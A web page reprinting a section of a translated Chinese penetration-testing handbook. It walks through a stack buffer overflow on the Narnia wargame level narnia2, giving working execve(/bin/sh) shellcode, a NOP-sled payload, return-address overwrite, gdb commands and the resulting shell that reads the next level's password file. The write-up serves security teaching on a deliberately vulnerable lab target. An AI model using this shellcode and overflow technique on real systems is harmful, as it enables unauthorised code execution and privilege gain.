|
|
|
|
移动端

1.6.2 二进制利用(3)

《黑客秘笈——渗透测试实用指南(第2版)》第1章赛前准备——安装,本章介绍的内容主要是帮助搭建一个标准的测试平台。您要具有扎实的PowerShell语言基础,并且能够理解二进制漏洞利用的基本原理。本节为大家介绍二进制利用。

作者:孙勇 译来源:人民邮电出版社|2017-09-06 20:56

有奖调研 | 1TB硬盘等你拿 AI+区块链的发展趋势及应用调研


1.6.2 二进制利用(3)

使用“B”字符(或者十六进制0x42)覆盖EIP,EIP是处理器下一步执行代码的指针。如果将EIP指向一段shellcode区域,就可以控制系统。那么到哪儿可以找到shellcode呢?可以定制shellcode或者从下面网址下载shellcode:http://shell-storm.org/shellcode/。在这个例子中,使用Linux/x86 - execve(/bin/sh),长度28个字节。shellcode长度是28个字节,净荷需要144个字节长度。将A替换为NOP或者0x90,这意味着程序跳到NOP时将继续执行,直到开始运行可执行代码。在使用空指令测试后,我创建了下列代码:

cd /narnia

gdb ./narnia2 -q

run 'python -c 'print "\x90" * 50+

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\

x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "BBBB"'

开始运行程序:/games/narnia/narnia2 `python -c 'print "\x90" *50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\ x90" * 67 + "BBBB"'

程序接收SIGSEGV信号,段错误。

0x42424242 in ?? ()

(gdb) info registers eip

eip 0x42424242 0x42424242

通过shellcode和NOP成功控制EIP的值。现在在NOP前放置shellcode,从而获得一个/bin/sh shell。为了能够看到出现段错误后内存中的内容,输入:

x/250x $esp

滚动浏览,可以看到以下内容(见图1.10)。

可以看到初始的NOP (x90),后面是shellcode,然后是多个NOP,最后是BBBB。修改BBBB值,使其指向NOP,从而执行shellcode代码。一个简单的地址是0xffffd850栈地址,指向NOP中的第一个字符。开始进行测试,记住不要忘记系统是小段模式。

(gdb) run 'python -c 'print "\x90" * 50 +"\x31\xc0\x50\x68\x2f\x2f

\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b

\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"''

开始运行程序:/games/narnia/narnia2 "python -c 'print "\x90" * 50

+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\

x53\x89\xe1\xb0\x0b\xcd\x8 0" + "\x90" * 67 + "\x50\xd8\xff\xff"'"

进程5823执行新的程序:/bin/dash

$ cat /etc/narnia_pass/narnia3

cat: /etc/narnia_pass/narnia3: Permission denied

现在可以运行shellcode,但是由于某种原因,不能够读取narnia3账户口令。可以尝试脱离GDB调试环境运行程序。

narnia2@melinda:/narnia$ ./narnia2 'python -c 'print "\x90" * 50 +"\x31

\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x

e1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"'`

$ cat /etc/narnia_pass/narnia3

[这儿是narnia3答案]

终于发挥作用了!我们现在获得高权限的shell,并可以读取narnia3的密码(见图1.11)。希望通过这个例子,您能初步了解缓冲区溢出是如何产生以及如何进行漏洞利用。记住,这是一个二进制漏洞利用的起始阶段。现在可以用一些时间尝试其他的例子。

喜欢的朋友可以添加我们的微信账号:

51CTO读书频道二维码


51CTO读书频道活动讨论群:365934973

【责任编辑:book TEL:(010)68476606】

回书目   上一节   下一节
点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

网络工程师必读——网络工程基础

本书是一本知识全面、系统、专业的网络工程基础知识必备图书。全书条理清晰、逻辑性强,遵循从全局到细节,从底层基础到高层应用的顺序全面...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊